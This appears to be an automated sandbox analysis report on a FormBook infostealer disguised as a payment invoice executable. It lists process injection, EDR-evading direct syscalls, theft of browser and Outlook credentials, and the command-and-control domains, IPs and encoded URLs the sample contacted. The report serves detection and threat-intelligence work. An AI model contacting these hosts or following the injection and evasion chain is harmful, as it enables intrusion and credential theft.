Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 protect: page execute and read and write Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtAllocateVirtualMemory: Direct from: 0x76EF48EC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtQueryAttributesFile: Direct from: 0x76EF2E6C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtQuerySystemInformation: Direct from: 0x76EF48CC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtOpenSection: Direct from: 0x76EF2E0C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtDeviceIoControlFile: Direct from: 0x76EF2AEC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtAllocateVirtualMemory: Direct from: 0x76EF2BEC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtQueryInformationToken: Direct from: 0x76EF2CAC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtCreateFile: Direct from: 0x76EF2FEC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtOpenFile: Direct from: 0x76EF2DCC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtTerminateThread: Direct from: 0x76EF2FCC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtOpenKeyEx: Direct from: 0x76EF2B9C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtSetInformationProcess: Direct from: 0x76EF2C5C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtProtectVirtualMemory: Direct from: 0x76EF2F9C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtWriteVirtualMemory: Direct from: 0x76EF2E3C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtNotifyChangeKey: Direct from: 0x76EF3C2C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtCreateMutant: Direct from: 0x76EF35CC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtResumeThread: Direct from: 0x76EF36AC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtMapViewOfSection: Direct from: 0x76EF2D1C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtAllocateVirtualMemory: Direct from: 0x76EF2BFC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtQuerySystemInformation: Direct from: 0x76EF2DFC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtReadFile: Direct from: 0x76EF2ADC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtDelayExecution: Direct from: 0x76EF2DDC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtQueryInformationProcess: Direct from: 0x76EF2C26 Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtResumeThread: Direct from: 0x76EF2FBC Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtCreateUserProcess: Direct from: 0x76EF371C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtAllocateVirtualMemory: Direct from: 0x76EF3C9C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtSetInformationThread: Direct from: 0x76EE63F9 Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtWriteVirtualMemory: Direct from: 0x76EF490C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtClose: Direct from: 0x76EF2B6C
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtSetInformationThread: Direct from: 0x76EF2B4C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtCreateKey: Direct from: 0x76EF2C6C Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe NtReadVirtualMemory: Direct from: 0x76EF2E8C Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 value starts with: 4D5A Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Section loaded: NULL target: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe Section loaded: NULL target: C:\Windows\SysWOW64\xcopy.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: NULL target: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: NULL target: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\SysWOW64\xcopy.exe Thread register set: target process: 4816 Jump to behavior
Writes to foreign memory regions
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 400000 Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 401000 Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe base: 739008 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" Jump to behavior
Source: C:\Program Files (x86)\OJGHJXIyqEapPJjZGDfDlJeZArmxOoMlvpiiNmPZKvAMTUnY\cJjnESPXORw.exe Process created: C:\Windows\SysWOW64\xcopy.exe "C:\Windows\SysWOW64\xcopy.exe" Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: cJjnESPXORw.exe, 00000005.00000002.3912307416.0000000001081000.00000002.00000001.00040000.00000000.sdmp, cJjnESPXORw.exe, 00000005.00000000.2345394450.0000000001081000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager
Source: cJjnESPXORw.exe, 00000005.00000002.3912307416.0000000001081000.00000002.00000001.00040000.00000000.sdmp, cJjnESPXORw.exe, 00000005.00000000.2345394450.0000000001081000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: cJjnESPXORw.exe, 00000005.00000002.3912307416.0000000001081000.00000002.00000001.00040000.00000000.sdmp, cJjnESPXORw.exe, 00000005.00000000.2345394450.0000000001081000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: cJjnESPXORw.exe, 00000005.00000002.3912307416.0000000001081000.00000002.00000001.00040000.00000000.sdmp, cJjnESPXORw.exe, 00000005.00000000.2345394450.0000000001081000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Queries volume information: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Due Payment Invoice PISS2024993.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.2419425677.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3911460073.0000000002800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3912564101.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2420013773.0000000000F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3912510675.0000000002B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.3912731474.0000000003070000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2421355928.0000000001ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\xcopy.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 3.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegSvcs.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000002.2419425677.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3911460073.0000000002800000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3912564101.0000000002BE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2420013773.0000000000F50000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000002.3912510675.0000000002B90000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.3912731474.0000000003070000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2421355928.0000000001ED0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1541207 Sample: Due Payment Invoice PISS202... Startdate: 24/10/2024 Architecture: WINDOWS Score: 100 34 www.theawareness.shop 2->34 36 www.shintow.net 2->36 38 13 other IPs or domains 2->38 42 Multi AV Scanner detection for submitted file 2->42 44 Yara detected FormBook 2->44 46 Yara detected AntiVM3 2->46 48 4 other signatures 2->48 10 Due Payment Invoice PISS2024993.exe 3 2->10         started        signatures3 process4 file5 26 Due Payment Invoice PISS2024993.exe.log, ASCII 10->26 dropped 58 Writes to foreign memory regions 10->58 60 Allocates memory in foreign processes 10->60 62 Injects a PE file into a foreign processes 10->62 14 RegSvcs.exe 10->14         started        signatures6 process7 signatures8 64 Maps a DLL or memory area into another process 14->64 17 cJjnESPXORw.exe 14->17 injected process9 dnsIp10 28 estrela-b.online 162.241.63.77, 49996, 49997, 49998 UNIFIEDLAYER-AS-1US United States 17->28 30 ghs.googlehosted.com 142.250.185.115, 49949, 49964, 49978 GOOGLEUS United States 17->30 32 7 other IPs or domains 17->32 40 Found direct / indirect Syscall (likely to bypass EDR) 17->40 21 xcopy.exe 13 17->21         started        signatures11 process12 signatures13 50 Tries to steal Mail credentials (via file / registry access) 21->50 52 Tries to harvest and steal browser information (history, passwords, etc) 21->52 54 Modifies the context of a thread in another process (thread injection) 21->54 56 2 other signatures 21->56 24 firefox.exe 21->24         started        process14
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
154.23.181.7
 www.ak711ka10.lat United States
174 COGENT-174US false
141.193.213.11
 www.meanttobebroken.org United States
396845 DV-PRIMARY-ASN1US false
13.248.169.48
 www.ila.beauty United States
16509 AMAZON-02US false
69.57.163.227
 www.mireela.pro United States
25653 FORTRESSITXUS false
76.223.67.189
 mjmegartravel.online United States
16509 AMAZON-02US false
162.241.63.77
 estrela-b.online United States
46606 UNIFIEDLAYER-AS-1US false
172.67.177.220
 www.theawareness.shop United States
13335 CLOUDFLARENETUS false
3.33.130.190
 micrhyms.info United States
8987 AMAZONEXPANSIONGB false
142.250.185.115
 ghs.googlehosted.com United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
www.ila.beauty 13.248.169.48 true
estrela-b.online 162.241.63.77 true
www.ak711ka10.lat 154.23.181.7 true
www.meanttobebroken.org 141.193.213.11 true
mjmegartravel.online 76.223.67.189 true
www.theawareness.shop 172.67.177.220 true
www.mireela.pro 69.57.163.227 true
ghs.googlehosted.com 142.250.185.115 true
micrhyms.info 3.33.130.190 true
energyparks.net 3.33.130.190 true
www.micrhyms.info unknown unknown
www.mjmegartravel.online unknown unknown
www.estrela-b.online unknown unknown
www.energyparks.net unknown unknown
www.shintow.net unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.mireela.pro/mdol/?pZxtux=IBR/N437Xoj/lvQ/yaypF1iCxq0JhxtvQ9XvO2IN6lbwsaKUqIYSoc7J5DfSIcjVFUNu75pY4qnkQs5YcPPLlBdqXD3XopUqxrOy0G+yXtR7yOmR4k+PDTzACkBBVYCXxA==&C6=EXkTb false
    		unknown
    http://www.mjmegartravel.online/t2sm/?pZxtux=94IeUqPLX3ZZBpOBWJjj6w05jpTx/xHCK3bXujG3CQTlZUuHvWSdywBNDw0UN7LA9SFuNcoJQf79ZomCfHkQBPJfdTEUnKSwwNjbiieOsGOn8kHnIz1RgyTaVPNwwy1Row==&C6=EXkTb false
      		unknown
      http://www.energyparks.net/24sh/ false
        		unknown
        http://www.shintow.net/ow7i/ false
          		unknown
          http://www.shintow.net/ow7i/?pZxtux=D6NwXqVIZVbqudPbukfKSXslB0cDplrj7EaXwER037qfX6kPuWmDYfQvQA/Ze+QTmkPK0wpsgEVRbQCYLV+GBPPQtbW1nqz4pZ5COE7r30blXJdgErW3TYP6jwHTnZcx3A==&C6=EXkTb false
            		unknown
            http://www.theawareness.shop/df5c/ false
              		unknown
              http://www.energyparks.net/24sh/?pZxtux=M41UUGwRPTDcYYp7NjzFchXqTu9ohCG2hnX9QOYTWHvuC0V13uvlBW/8MUrXzawQyQAEaeslrtJdAUXUhjCRxVhWrTu2Hm15Y+EHLS69Aj11G8IhKuKDs0JHRlg0rr8yhA==&C6=EXkTb false
                		unknown
                http://www.ak711ka10.lat/o5z9/ false
                  		unknown
                  http://www.ila.beauty/qq33/?pZxtux=i6Dk+UJVjxglEXs09Tl/1hzZ7yI7sWOV9FpOihhS4ziFAzHmIjfzFnYav8OQcpUvdMfWm2GXI1cxWM9gtNVnhTwiButew2EOfjMP80SRQHDkyyZg6sD1yMmsAnC5II4onw==&C6=EXkTb false
                    		unknown
                    http://www.meanttobebroken.org/zdt7/ false
                      		unknown
                      http://www.mireela.pro/mdol/ false
                        		unknown
                        http://www.micrhyms.info/uao9/?pZxtux=gsMVmNPJ8N9SSsJhvzgfzwwjqe07CXl0sVKqNnzNMDh6tN9OUV5g1ZhKr/MfkgGiHAPXbKUUpWb7OZdwItOAW4YYmA3iTr55JhOSegfIcMD9E8fUPg/eNtps2xYGlBIlpg==&C6=EXkTb false
                          		unknown
                          http://www.mjmegartravel.online/t2sm/ false
                            		unknown
                            http://www.estrela-b.online/62tt/ false
                              		unknown
                              http://www.ak711ka10.lat/o5z9/?pZxtux=z11/8LNw/ilOmRo5iVplmq9QJ2/sY6O9S3jiPj8IKRvMXjps+f+3QxK4x8TDiA3fpLYwxgH4NhA45modVvBwao6NdyacUH38gYwDUqZfGQ230ajUqn4GEmUCWVLyRw7Now==&C6=EXkTb false
                                		unknown
                                http://www.meanttobebroken.org/zdt7/?pZxtux=OdyTsfpKOp+FbfSBk3rtAPX6yl42tFHs0o0DPQC5l8EmE472eTQ0FDkunmNaJXsoU4tZbjlt6ORfso7icAjAvSN+KGdO51cWhvQZ2fU2V4w5zpyWN4cvAtWl9PkRGGXA+g==&C6=EXkTb false
                                  		unknown
                                  http://www.theawareness.shop/df5c/?pZxtux=iTGQ2f3/8wLaRYQP0xZx681X5jLmVFU/oLVVEoegdR+OVsnqcEQj6iurR8BAvDospkEZVkGP6nTG7c6sAiwUrDOAfXxLGlgGaAd3CytgAtbKInIGuq2UlXDJcOT7zCeYfw==&C6=EXkTb false
                                    		unknown
                                    http://www.micrhyms.info/uao9/ false
                                      		unknown